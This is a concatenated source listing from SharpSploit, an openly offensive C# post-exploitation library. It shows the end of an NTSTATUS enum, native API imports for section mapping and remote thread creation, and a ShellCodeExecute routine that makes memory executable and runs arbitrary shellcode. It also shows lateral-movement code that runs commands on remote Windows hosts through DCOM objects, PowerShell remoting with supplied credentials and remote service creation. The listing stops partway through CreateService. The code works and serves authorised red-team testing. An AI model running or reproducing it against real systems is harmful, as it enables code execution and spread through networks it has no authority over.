274 | NotMappedView = 0xc0000019,
275 | UnableToFreeVm = 0xc000001a,
276 | UnableToDeleteSection = 0xc000001b,
277 | IllegalInstruction = 0xc000001d,
278 | AlreadyCommitted = 0xc0000021,
279 | AccessDenied = 0xc0000022,
280 | BufferTooSmall = 0xc0000023,
281 | ObjectTypeMismatch = 0xc0000024,
282 | NonContinuableException = 0xc0000025,
283 | BadStack = 0xc0000028,
284 | NotLocked = 0xc000002a,
285 | NotCommitted = 0xc000002d,
286 | InvalidParameterMix = 0xc0000030,
287 | ObjectNameInvalid = 0xc0000033,
288 | ObjectNameNotFound = 0xc0000034,
289 | ObjectNameCollision = 0xc0000035,
290 | ObjectPathInvalid = 0xc0000039,
291 | ObjectPathNotFound = 0xc000003a,
292 | ObjectPathSyntaxBad = 0xc000003b,
293 | DataOverrun = 0xc000003c,
294 | DataLate = 0xc000003d,
295 | DataError = 0xc000003e,
296 | CrcError = 0xc000003f,
297 | SectionTooBig = 0xc0000040,
298 | PortConnectionRefused = 0xc0000041,
299 | InvalidPortHandle = 0xc0000042,
300 | SharingViolation = 0xc0000043,
301 | QuotaExceeded = 0xc0000044,
302 | InvalidPageProtection = 0xc0000045,
303 | MutantNotOwned = 0xc0000046,
304 | SemaphoreLimitExceeded = 0xc0000047,
305 | PortAlreadySet = 0xc0000048,
306 | SectionNotImage = 0xc0000049,
307 | SuspendCountExceeded = 0xc000004a,
308 | ThreadIsTerminating = 0xc000004b,
309 | BadWorkingSetLimit = 0xc000004c,
310 | IncompatibleFileMap = 0xc000004d,
311 | SectionProtection = 0xc000004e,
312 | EasNotSupported = 0xc000004f,
313 | EaTooLarge = 0xc0000050,
314 | NonExistentEaEntry = 0xc0000051,
315 | NoEasOnFile = 0xc0000052,
316 | EaCorruptError = 0xc0000053,
317 | FileLockConflict = 0xc0000054,
318 | LockNotGranted = 0xc0000055,
319 | DeletePending = 0xc0000056,
320 | CtlFileNotSupported = 0xc0000057,
321 | UnknownRevision = 0xc0000058,
322 | RevisionMismatch = 0xc0000059,
323 | InvalidOwner = 0xc000005a,
324 | InvalidPrimaryGroup = 0xc000005b,
325 | NoImpersonationToken = 0xc000005c,
326 | CantDisableMandatory = 0xc000005d,
327 | NoLogonServers = 0xc000005e,
328 | NoSuchLogonSession = 0xc000005f,
329 | NoSuchPrivilege = 0xc0000060,
330 | PrivilegeNotHeld = 0xc0000061,
331 | InvalidAccountName = 0xc0000062,
332 | UserExists = 0xc0000063,
333 | NoSuchUser = 0xc0000064,
334 | GroupExists = 0xc0000065,
335 | NoSuchGroup = 0xc0000066,
336 | MemberInGroup = 0xc0000067,
337 | MemberNotInGroup = 0xc0000068,
338 | LastAdmin = 0xc0000069,
339 | WrongPassword = 0xc000006a,
340 | IllFormedPassword = 0xc000006b,
341 | PasswordRestriction = 0xc000006c,
342 | LogonFailure = 0xc000006d,
343 | AccountRestriction = 0xc000006e,
344 | InvalidLogonHours = 0xc000006f,
345 | InvalidWorkstation = 0xc0000070,
346 | PasswordExpired = 0xc0000071,
347 | AccountDisabled = 0xc0000072,
348 | NoneMapped = 0xc0000073,
349 | TooManyLuidsRequested = 0xc0000074,
350 | LuidsExhausted = 0xc0000075,
351 | InvalidSubAuthority = 0xc0000076,
352 | InvalidAcl = 0xc0000077,
353 | InvalidSid = 0xc0000078,
354 | InvalidSecurityDescr = 0xc0000079,
355 | ProcedureNotFound = 0xc000007a,
356 | InvalidImageFormat = 0xc000007b,
357 | NoToken = 0xc000007c,
358 | BadInheritanceAcl = 0xc000007d,
359 | RangeNotLocked = 0xc000007e,
360 | DiskFull = 0xc000007f,
361 | ServerDisabled = 0xc0000080,
362 | ServerNotDisabled = 0xc0000081,
363 | TooManyGuidsRequested = 0xc0000082,
364 | GuidsExhausted = 0xc0000083,
365 | InvalidIdAuthority = 0xc0000084,
366 | AgentsExhausted = 0xc0000085,
367 | InvalidVolumeLabel = 0xc0000086,
368 | SectionNotExtended = 0xc0000087,
369 | NotMappedData = 0xc0000088,
370 | ResourceDataNotFound = 0xc0000089,
371 | ResourceTypeNotFound = 0xc000008a,
372 | ResourceNameNotFound = 0xc000008b,
373 | ArrayBoundsExceeded = 0xc000008c,
374 | FloatDenormalOperand = 0xc000008d,
375 | FloatDivideByZero = 0xc000008e,
376 | FloatInexactResult = 0xc000008f,
377 | FloatInvalidOperation = 0xc0000090,
378 | FloatOverflow = 0xc0000091,
379 | FloatStackCheck = 0xc0000092,
380 | FloatUnderflow = 0xc0000093,
381 | IntegerDivideByZero = 0xc0000094,
382 | IntegerOverflow = 0xc0000095,
383 | PrivilegedInstruction = 0xc0000096,
384 | TooManyPagingFiles = 0xc0000097,
385 | FileInvalid = 0xc0000098,
386 | InsufficientResources = 0xc000009a,
387 | InstanceNotAvailable = 0xc00000ab,
388 | PipeNotAvailable = 0xc00000ac,
389 | InvalidPipeState = 0xc00000ad,
390 | PipeBusy = 0xc00000ae,
391 | IllegalFunction = 0xc00000af,
392 | PipeDisconnected = 0xc00000b0,
393 | PipeClosing = 0xc00000b1,
394 | PipeConnected = 0xc00000b2,
395 | PipeListening = 0xc00000b3,
396 | InvalidReadMode = 0xc00000b4,
397 | IoTimeout = 0xc00000b5,
398 | FileForcedClosed = 0xc00000b6,
399 | ProfilingNotStarted = 0xc00000b7,
400 | ProfilingNotStopped = 0xc00000b8,
401 | NotSameDevice = 0xc00000d4,
402 | FileRenamed = 0xc00000d5,
403 | CantWait = 0xc00000d8,
404 | PipeEmpty = 0xc00000d9,
405 | CantTerminateSelf = 0xc00000db,
406 | InternalError = 0xc00000e5,
407 | InvalidParameter1 = 0xc00000ef,
408 | InvalidParameter2 = 0xc00000f0,
409 | InvalidParameter3 = 0xc00000f1,
410 | InvalidParameter4 = 0xc00000f2,
411 | InvalidParameter5 = 0xc00000f3,
412 | InvalidParameter6 = 0xc00000f4,
413 | InvalidParameter7 = 0xc00000f5,
414 | InvalidParameter8 = 0xc00000f6,
415 | InvalidParameter9 = 0xc00000f7,
416 | InvalidParameter10 = 0xc00000f8,
417 | InvalidParameter11 = 0xc00000f9,
418 | InvalidParameter12 = 0xc00000fa,
419 | ProcessIsTerminating = 0xc000010a,
420 | MappedFileSizeZero = 0xc000011e,
421 | TooManyOpenedFiles = 0xc000011f,
422 | Cancelled = 0xc0000120,
423 | CannotDelete = 0xc0000121,
424 | InvalidComputerName = 0xc0000122,
425 | FileDeleted = 0xc0000123,
426 | SpecialAccount = 0xc0000124,
427 | SpecialGroup = 0xc0000125,
428 | SpecialUser = 0xc0000126,
429 | MembersPrimaryGroup = 0xc0000127,
430 | FileClosed = 0xc0000128,
431 | TooManyThreads = 0xc0000129,
432 | ThreadNotInProcess = 0xc000012a,
433 | TokenAlreadyInUse = 0xc000012b,
434 | PagefileQuotaExceeded = 0xc000012c,
435 | CommitmentLimit = 0xc000012d,
436 | InvalidImageLeFormat = 0xc000012e,
437 | InvalidImageNotMz = 0xc000012f,
438 | InvalidImageProtect = 0xc0000130,
439 | InvalidImageWin16 = 0xc0000131,
440 | LogonServer = 0xc0000132,
441 | DifferenceAtDc = 0xc0000133,
442 | SynchronizationRequired = 0xc0000134,
443 | DllNotFound = 0xc0000135,
444 | IoPrivilegeFailed = 0xc0000137,
445 | OrdinalNotFound = 0xc0000138,
446 | EntryPointNotFound = 0xc0000139,
447 | ControlCExit = 0xc000013a,
448 | InvalidAddress = 0xc0000141,
449 | PortNotSet = 0xc0000353,
450 | DebuggerInactive = 0xc0000354,
451 | CallbackBypass = 0xc0000503,
452 | PortClosed = 0xc0000700,
453 | MessageLost = 0xc0000701,
454 | InvalidMessage = 0xc0000702,
455 | RequestCanceled = 0xc0000703,
456 | RecursiveDispatch = 0xc0000704,
457 | LpcReceiveBufferExpected = 0xc0000705,
458 | LpcInvalidConnectionUsage = 0xc0000706,
459 | LpcRequestsNotAllowed = 0xc0000707,
460 | ResourceInUse = 0xc0000708,
461 | ProcessIsProtected = 0xc0000712,
462 | VolumeDirty = 0xc0000806,
463 | FileCheckedOut = 0xc0000901,
464 | CheckOutRequired = 0xc0000902,
465 | BadFileType = 0xc0000903,
466 | FileTooLarge = 0xc0000904,
467 | FormsAuthRequired = 0xc0000905,
468 | VirusInfected = 0xc0000906,
469 | VirusDeleted = 0xc0000907,
470 | TransactionalConflict = 0xc0190001,
471 | InvalidTransaction = 0xc0190002,
472 | TransactionNotActive = 0xc0190003,
473 | TmInitializationFailed = 0xc0190004,
474 | RmNotActive = 0xc0190005,
475 | RmMetadataCorrupt = 0xc0190006,
476 | TransactionNotJoined = 0xc0190007,
477 | DirectoryNotRm = 0xc0190008,
478 | CouldNotResizeLog = 0xc0190009,
479 | TransactionsUnsupportedRemote = 0xc019000a,
480 | LogResizeInvalidSize = 0xc019000b,
481 | RemoteFileVersionMismatch = 0xc019000c,
482 | CrmProtocolAlreadyExists = 0xc019000f,
483 | TransactionPropagationFailed = 0xc0190010,
484 | CrmProtocolNotFound = 0xc0190011,
485 | TransactionSuperiorExists = 0xc0190012,
486 | TransactionRequestNotValid = 0xc0190013,
487 | TransactionNotRequested = 0xc0190014,
488 | TransactionAlreadyAborted = 0xc0190015,
489 | TransactionAlreadyCommitted = 0xc0190016,
490 | TransactionInvalidMarshallBuffer = 0xc0190017,
491 | CurrentTransactionNotValid = 0xc0190018,
492 | LogGrowthFailed = 0xc0190019,
493 | ObjectNoLongerExists = 0xc0190021,
494 | StreamMiniversionNotFound = 0xc0190022,
495 | StreamMiniversionNotValid = 0xc0190023,
496 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
497 | CantOpenMiniversionWithModifyIntent = 0xc0190025,
498 | CantCreateMoreStreamMiniversions = 0xc0190026,
499 | HandleNoLongerValid = 0xc0190028,
500 | NoTxfMetadata = 0xc0190029,
501 | LogCorruptionDetected = 0xc0190030,
502 | CantRecoverWithHandleOpen = 0xc0190031,
503 | RmDisconnected = 0xc0190032,
504 | EnlistmentNotSuperior = 0xc0190033,
505 | RecoveryNotNeeded = 0xc0190034,
506 | RmAlreadyStarted = 0xc0190035,
507 | FileIdentityNotPersistent = 0xc0190036,
508 | CantBreakTransactionalDependency = 0xc0190037,
509 | CantCrossRmBoundary = 0xc0190038,
510 | TxfDirNotEmpty = 0xc0190039,
511 | IndoubtTransactionsExist = 0xc019003a,
512 | TmVolatile = 0xc019003b,
513 | RollbackTimerExpired = 0xc019003c,
514 | TxfAttributeCorrupt = 0xc019003d,
515 | EfsNotAllowedInTransaction = 0xc019003e,
516 | TransactionalOpenNotAllowed = 0xc019003f,
517 | TransactedMappingUnsupportedRemote = 0xc0190040,
518 | TxfMetadataAlreadyPresent = 0xc0190041,
519 | TransactionScopeCallbacksNotSet = 0xc0190042,
520 | TransactionRequiredPromotion = 0xc0190043,
521 | CannotExecuteFileInTransaction = 0xc0190044,
522 | TransactionsNotFrozen = 0xc0190045,
523 |
524 | MaximumNtStatus = 0xffffffff
525 | }
526 | }
527 | }
528 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/PlatformInvoke/Native.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Runtime.InteropServices;
7 |
8 | using Execute = SharpSploit.Execution;
9 |
10 | namespace SharpSploit.Execution.PlatformInvoke
11 | {
12 | public static class Native
13 | {
14 | [DllImport("ntdll.dll", SetLastError = true)]
15 | public static extern int NtFilterToken(
16 | IntPtr TokenHandle,
17 | UInt32 Flags,
18 | IntPtr SidsToDisable,
19 | IntPtr PrivilegesToDelete,
20 | IntPtr RestrictedSids,
21 | ref IntPtr hToken
22 | );
23 |
24 | [DllImport("ntdll.dll", SetLastError = true)]
25 | public static extern Int32 NtSetInformationToken(
26 | IntPtr TokenHandle,
27 | Int32 TokenInformationClass,
28 | ref Execute.Win32.WinNT._TOKEN_MANDATORY_LABEL TokenInformation,
29 | Int32 TokenInformationLength
30 | );
31 |
32 | [DllImport("ntdll.dll", SetLastError = true)]
33 | public static extern Execute.Native.NTSTATUS NtCreateSection(
34 | ref IntPtr SectionHandle,
35 | uint DesiredAccess,
36 | IntPtr ObjectAttributes,
37 | ref ulong MaximumSize,
38 | uint SectionPageProtection,
39 | uint AllocationAttributes,
40 | IntPtr FileHandle
41 | );
42 |
43 | [DllImport("ntdll.dll", SetLastError = true)]
44 | public static extern Execute.Native.NTSTATUS NtMapViewOfSection(
45 | IntPtr SectionHandle,
46 | IntPtr ProcessHandle,
47 | ref IntPtr BaseAddress,
48 | IntPtr ZeroBits,
49 | IntPtr CommitSize,
50 | IntPtr SectionOffset,
51 | ref uint ViewSize,
52 | uint InheritDisposition,
53 | uint AllocationType,
54 | uint Win32Protect
55 | );
56 |
57 | [DllImport("ntdll.dll", SetLastError = true)]
58 | public static extern Execute.Native.NTSTATUS NtUnmapViewOfSection(
59 | IntPtr hProc,
60 | IntPtr baseAddr
61 | );
62 |
63 | ///
64 | /// NTCreateThreadEx is an undocumented function. Created by Microsoft to be a universal, cross-session solution
65 | /// for remote thread creation.
66 | ///
67 | ///
68 | ///
69 | ///
70 | ///
71 | ///
72 | ///
73 | ///
74 | ///
75 | ///
76 | ///
77 | ///
78 | ///
79 | [DllImport("ntdll.dll")]
80 | public static extern IntPtr NtCreateThreadEx(
81 | out IntPtr threadHandle,
82 | Execute.Win32.WinNT.ACCESS_MASK desiredAccess,
83 | IntPtr objectAttributes,
84 | IntPtr processHandle,
85 | IntPtr startAddress,
86 | IntPtr parameter,
87 | bool createSuspended,
88 | int stackZeroBits,
89 | int sizeOfStack,
90 | int maximumStackSize,
91 | IntPtr attributeList
92 | );
93 |
94 | [DllImport("ntdll.dll", SetLastError = true)]
95 | public static extern int NtQueryInformationProcess(
96 | IntPtr hProcess,
97 | Execute.Native.PROCESSINFOCLASS pic,
98 | IntPtr pi,
99 | int cb,
100 | out int pSize
101 | );
102 | }
103 | }
104 |
--------------------------------------------------------------------------------
/SharpSploit/Execution/ShellCode.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Runtime.InteropServices;
7 |
8 | using PInvoke = SharpSploit.Execution.PlatformInvoke;
9 |
10 | namespace SharpSploit.Execution
11 | {
12 | ///
13 | /// ShellCode includes a method for executing shellcode.
14 | ///
15 | public class ShellCode
16 | {
17 | [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
18 | private delegate Int32 Run();
19 |
20 | ///
21 | /// Executes a specified ShellCode byte array by copying it to pinned memory, modifying the memory
22 | /// permissions with VirtualProtect(), and executing using a delegate.
23 | ///
24 | /// ShellCode byte array to execute.
25 | /// Boolean. True if execution succeeds, false otherwise.
26 | /// Based upon code written by Matt Nelson (@enigma0x3) and Matt Graeber (@mattifestation).
27 | public static bool ShellCodeExecute(byte[] ShellCode)
28 | {
29 | try
30 | {
31 | GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned);
32 | IntPtr ptr = pinnedArray.AddrOfPinnedObject();
33 | Marshal.Copy(ShellCode, 0, ptr, ShellCode.Length);
34 |
35 | uint flOldProtect = 0;
36 | if (!PInvoke.Win32.Kernel32.VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out flOldProtect))
37 | {
38 | return false;
39 | }
40 | Run del = (Run)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Run));
41 | del();
42 | return true;
43 | }
44 | catch (Exception e)
45 | {
46 | Console.Error.WriteLine("ShellCodeExecute exception: " + e.Message);
47 | }
48 | return false;
49 | }
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/SharpSploit/Generic/Generic.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Text;
7 | using System.Linq;
8 | using System.Collections.Generic;
9 | using System.Collections;
10 |
11 | namespace SharpSploit.Generic
12 | {
13 | ///
14 | /// GenericObjectResult for listing objects whose type is unknown at compile time.
15 | ///
16 | public sealed class GenericObjectResult : SharpSploitResult
17 | {
18 | public object Result { get; }
19 | protected internal override IList ResultProperties
20 | {
21 | get
22 | {
23 | return new List
24 | {
25 | new SharpSploitResultProperty
26 | {
27 | Name = this.Result.GetType().Name,
28 | Value = this.Result
29 | }
30 | };
31 | }
32 | }
33 |
34 | public GenericObjectResult(object Result)
35 | {
36 | this.Result = Result;
37 | }
38 | }
39 |
40 | ///
41 | /// SharpSploitResultList extends the IList interface for SharpSploitResults to easily
42 | /// format a list of results from various SharpSploit functions.
43 | ///
44 | ///
45 | public class SharpSploitResultList : IList where T : SharpSploitResult
46 | {
47 | private List Results { get; } = new List();
48 |
49 | public int Count => Results.Count;
50 | public bool IsReadOnly => ((IList)Results).IsReadOnly;
51 |
52 |
53 | private const int PROPERTY_SPACE = 3;
54 |
55 | ///
56 | /// Formats a SharpSploitResultList to a string similar to PowerShell's Format-List function.
57 | ///
58 | /// string
59 | public string FormatList()
60 | {
61 | return this.ToString();
62 | }
63 |
64 | private string FormatTable()
65 | {
66 | // TODO
67 | return "";
68 | }
69 |
70 | ///
71 | /// Formats a SharpSploitResultList as a string. Overrides ToString() for convenience.
72 | ///
73 | /// string
74 | public override string ToString()
75 | {
76 | if (this.Results.Count > 0)
77 | {
78 | StringBuilder labels = new StringBuilder();
79 | StringBuilder underlines = new StringBuilder();
80 | List rows = new List();
81 | for (int i = 0; i < this.Results.Count; i++)
82 | {
83 | rows.Add(new StringBuilder());
84 | }
85 | for (int i = 0; i < this.Results[0].ResultProperties.Count; i++)
86 | {
87 | labels.Append(this.Results[0].ResultProperties[i].Name);
88 | underlines.Append(new string('-', this.Results[0].ResultProperties[i].Name.Length));
89 | int maxproplen = 0;
90 | for (int j = 0; j < rows.Count; j++)
91 | {
92 | SharpSploitResultProperty property = this.Results[j].ResultProperties[i];
93 | string ValueString = property.Value.ToString();
94 | rows[j].Append(ValueString);
95 | if (maxproplen < ValueString.Length)
96 | {
97 | maxproplen = ValueString.Length;
98 | }
99 | }
100 | if (i != this.Results[0].ResultProperties.Count - 1)
101 | {
102 | labels.Append(new string(' ', Math.Max(2, maxproplen + 2 - this.Results[0].ResultProperties[i].Name.Length)));
103 | underlines.Append(new string(' ', Math.Max(2, maxproplen + 2 - this.Results[0].ResultProperties[i].Name.Length)));
104 | for (int j = 0; j < rows.Count; j++)
105 | {
106 | SharpSploitResultProperty property = this.Results[j].ResultProperties[i];
107 | string ValueString = property.Value.ToString();
108 | rows[j].Append(new string(' ', Math.Max(this.Results[0].ResultProperties[i].Name.Length - ValueString.Length + 2, maxproplen - ValueString.Length + 2)));
109 | }
110 | }
111 | }
112 | labels.AppendLine();
113 | labels.Append(underlines.ToString());
114 | foreach (StringBuilder row in rows)
115 | {
116 | labels.AppendLine();
117 | labels.Append(row.ToString());
118 | }
119 | return labels.ToString();
120 | }
121 | return "";
122 | }
123 |
124 | public T this[int index] { get => Results[index]; set => Results[index] = value; }
125 |
126 | public IEnumerator GetEnumerator()
127 | {
128 | return Results.Cast().GetEnumerator();
129 | }
130 |
131 | IEnumerator IEnumerable.GetEnumerator()
132 | {
133 | return Results.Cast().GetEnumerator();
134 | }
135 |
136 | public int IndexOf(T item)
137 | {
138 | return Results.IndexOf(item);
139 | }
140 |
141 | public void Add(T t)
142 | {
143 | Results.Add(t);
144 | }
145 |
146 | public void AddRange(IEnumerable range)
147 | {
148 | Results.AddRange(range);
149 | }
150 |
151 | public void Insert(int index, T item)
152 | {
153 | Results.Insert(index, item);
154 | }
155 |
156 | public void RemoveAt(int index)
157 | {
158 | Results.RemoveAt(index);
159 | }
160 |
161 | public void Clear()
162 | {
163 | Results.Clear();
164 | }
165 |
166 | public bool Contains(T item)
167 | {
168 | return Results.Contains(item);
169 | }
170 |
171 | public void CopyTo(T[] array, int arrayIndex)
172 | {
173 | Results.CopyTo(array, arrayIndex);
174 | }
175 |
176 | public bool Remove(T item)
177 | {
178 | return Results.Remove(item);
179 | }
180 | }
181 |
182 | ///
183 | /// Abstract class that represents a result from a SharpSploit function.
184 | ///
185 | public abstract class SharpSploitResult
186 | {
187 | protected internal abstract IList ResultProperties { get; }
188 | }
189 |
190 | ///
191 | /// SharpSploitResultProperty represents a property that is a member of a SharpSploitResult's ResultProperties.
192 | ///
193 | public class SharpSploitResultProperty
194 | {
195 | public string Name { get; set; }
196 | public object Value { get; set; }
197 | }
198 | }
199 |
--------------------------------------------------------------------------------
/SharpSploit/LateralMovement/DCOM.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Linq;
7 | using System.Reflection;
8 | using System.Collections.Generic;
9 |
10 | namespace SharpSploit.LateralMovement
11 | {
12 | ///
13 | /// DCOM is a class for executing DCOM lateral movement techniques.
14 | ///
15 | public class DCOM
16 | {
17 | ///
18 | /// Execute a process on a remote system using various DCOM methods.
19 | ///
20 | /// ComputerName of remote system to execute process.
21 | /// Command to execute on remote system.
22 | ///
23 | ///
24 | /// DCOM execution method to use. Defaults to MMC20.Application.
25 | /// Bool. True if execution succeeds, false otherwise.
26 | ///
27 | /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is
28 | /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available
29 | /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1
30 | ///
31 | public static bool DCOMExecute(string ComputerName, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application)
32 | {
33 | try
34 | {
35 | if (Method == DCOMMethod.MMC20_Application)
36 | {
37 | Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName);
38 | object RemoteComObject = Activator.CreateInstance(ComType);
39 |
40 | object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
41 | object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null);
42 | ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command, Directory, Parameters, "7" });
43 | }
44 | else if (Method == DCOMMethod.ShellWindows)
45 | {
46 | Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName);
47 | object RemoteComObject = Activator.CreateInstance(ComType);
48 |
49 | object Item = RemoteComObject.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { });
50 | object Document = Item.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, Item, null);
51 | object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
52 | Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 });
53 | }
54 | else if (Method == DCOMMethod.ShellBrowserWindow)
55 | {
56 | Type ComType = Type.GetTypeFromCLSID(CLSIDs[Method], ComputerName);
57 | object RemoteComObject = Activator.CreateInstance(ComType);
58 |
59 | object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
60 | object Application = Document.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, Document, null);
61 | Application.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, Application, new object[] { Command, Parameters, Directory, null, 0 });
62 | }
63 | else if (Method == DCOMMethod.ExcelDDE)
64 | {
65 | Type ComType = Type.GetTypeFromProgID("Excel.Application", ComputerName);
66 | object RemoteComObject = Activator.CreateInstance(ComType);
67 | RemoteComObject.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, RemoteComObject, new object[] { false });
68 | RemoteComObject.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { Command, Parameters });
69 | }
70 | return true;
71 | }
72 | catch (Exception e)
73 | {
74 | Console.Error.WriteLine("DCOM Failed: " + e.Message);
75 | }
76 | return false;
77 | }
78 |
79 | ///
80 | /// Execute a process on a remote system using various DCOM methods.
81 | ///
82 | /// ComputerNames of remote systems to execute process.
83 | /// Command to execute on remote system.
84 | ///
85 | ///
86 | /// DCOM execution method to use. Defaults to MMC20.Application.
87 | /// Bool. True if execution succeeds, false otherwise.
88 | ///
89 | /// Credit for the DCOM lateral movement techniques goes to Matt Nelson (@enigma0x3). This is
90 | /// a port of Steve Borosh (rvrshell)'s Invoke-DCOM implementation available
91 | /// here: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1
92 | ///
93 | public static List DCOMExecute(List ComputerNames, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", DCOMMethod Method = DCOMMethod.MMC20_Application)
94 | {
95 | return ComputerNames.Select(CN => DCOMExecute(CN, Command, Parameters, Directory, Method)).ToList();
96 | }
97 |
98 | public enum DCOMMethod
99 | {
100 | MMC20_Application,
101 | ShellWindows,
102 | ShellBrowserWindow,
103 | ExcelDDE
104 | }
105 |
106 | private static readonly Dictionary CLSIDs = new Dictionary
107 | {
108 | { DCOMMethod.ShellWindows, new Guid("9BA05972-F6A8-11CF-A442-00A0C90A8F39") },
109 | { DCOMMethod.ShellBrowserWindow, new Guid("C08AFD90-F2A1-11D1-8455-00A0C91F3880") }
110 | };
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/SharpSploit/LateralMovement/PowerShellRemoting.cs:
--------------------------------------------------------------------------------
1 | using SharpSploit.Execution;
2 |
3 | namespace SharpSploit.LateralMovement
4 | {
5 | ///
6 | /// PowerShellRemoting is a class for executing PowerShell commands remotely.
7 | ///
8 | public class PowerShellRemoting
9 | {
10 | ///
11 | /// Invoke a PowerShell command on a remote machine.
12 | ///
13 | /// ComputerName of remote system to execute process.
14 | /// Command to execute on remote system.
15 | /// Domain for explicit credentials.
16 | /// Username for explicit credentials.
17 | /// Password for explicit credentials.
18 | /// String. Results of the PowerShell command.
19 | /// Daniel Duggan (@_RastaMouse)
20 | ///
21 | /// The function won't return as long as the command is still running on the remote target.
22 | ///
23 | public static string InvokeCommand(string ComputerName, string Command, string Domain = "", string Username = "", string Password = "")
24 | {
25 | string command = string.Empty;
26 | bool useCredentials = Domain != "" && Username != "" && Password != "";
27 |
28 | if (useCredentials)
29 | {
30 | command += $@"$Credential = New-Object System.Management.Automation.PSCredential(""{Domain}\{Username}"", (ConvertTo-SecureString ""{Password}"" -AsPlainText -Force)); ";
31 | }
32 | command += $@"Invoke-Command -ComputerName {ComputerName} -ScriptBlock {{ {Command} }}";
33 | if (useCredentials)
34 | {
35 | command += $" -Credential $Credential";
36 | }
37 |
38 | return Shell.PowerShellExecute(command);
39 | }
40 | }
41 | }
--------------------------------------------------------------------------------
/SharpSploit/LateralMovement/SCM.cs:
--------------------------------------------------------------------------------
1 | // Author: Ryan Cobb (@cobbr_io)
2 | // Project: SharpSploit (https://github.com/cobbr/SharpSploit)
3 | // License: BSD 3-Clause
4 |
5 | using System;
6 | using System.Linq;
7 | using System.Threading;
8 | using System.ServiceProcess;
9 | using System.ComponentModel;
10 | using System.Collections.Generic;
11 |
12 | using SharpSploit.Generic;
13 | using SharpSploit.Execution;
14 | using PInvoke = SharpSploit.Execution.PlatformInvoke;
15 |
16 | namespace SharpSploit.LateralMovement
17 | {
18 | ///
19 | /// SCM is a class for interacting with the Service Control Manager on a target computer.
20 | ///
21 | public class SCM
22 | {
23 | ///
24 | /// Get a service on a remote computer.
25 | ///
26 | /// The ComputerName of the remote machine.
27 | /// The DisplayName of the service to retrieve.
28 | /// ServiceResult that represents the given service. NULL if not found
29 | /// Ryan Cobb (@cobbr_io)
30 | public static ServiceResult GetService(string ComputerName, string DisplayName)
31 | {
32 | try
33 | {
34 | using (ServiceController service = new ServiceController(DisplayName, ComputerName))
35 | {
36 | return service == null ? null : new ServiceResult
37 | {
38 | ServiceName = service.ServiceName,
39 | DisplayName = service.DisplayName,
40 | Status = service.Status,
41 | CanStop = service.CanStop
42 | };
43 | }
44 | }
45 | catch (Win32Exception) { return null; }
46 | catch (InvalidOperationException) { return null; }
47 | }
48 |
49 | ///
50 | /// Get all services on a remote computer.
51 | ///
52 | /// The ComputerName of the remote machine.
53 | /// A SharpSploitResultList of ServiceResults. NULL if none found.
54 | /// Daniel Duggan (@_RastaMouse)
55 | public static SharpSploitResultList GetServices(string ComputerName)
56 | {
57 | try
58 | {
59 | SharpSploitResultList results = new SharpSploitResultList();
60 | IEnumerable services = ServiceController.GetServices(ComputerName).OrderBy(S => S.ServiceName);
61 | foreach (ServiceController service in services)
62 | {
63 | results.Add(new ServiceResult
64 | {
65 | ServiceName = service.ServiceName,
66 | DisplayName = service.DisplayName,
67 | Status = service.Status,
68 | CanStop = service.CanStop
69 | });
70 | service.Dispose();
71 | }
72 | return results;
73 | }
74 | catch (Win32Exception) { return null; }
75 | catch (InvalidOperationException) { return null; }
76 | }
77 |
78 | ///
79 | /// Creates a new service on a remote computer.
80 | ///
81 | /// The ComputerName of the remote machine.
82 | /// The short service name.
83 | /// The friendly display name.
84 | /// The path to the Service executable.
85 | /// Bool. True if execution succeeds, false otherwise.
86 | /// Daniel Duggan (@_RastaMouse)
87 | public static bool CreateService(string ComputerName, string ServiceName, string ServiceDisplayName, string BinaryPath)
88 | {
89 | bool success = false;
90 | IntPtr hManager = OpenServiceManager(ComputerName);
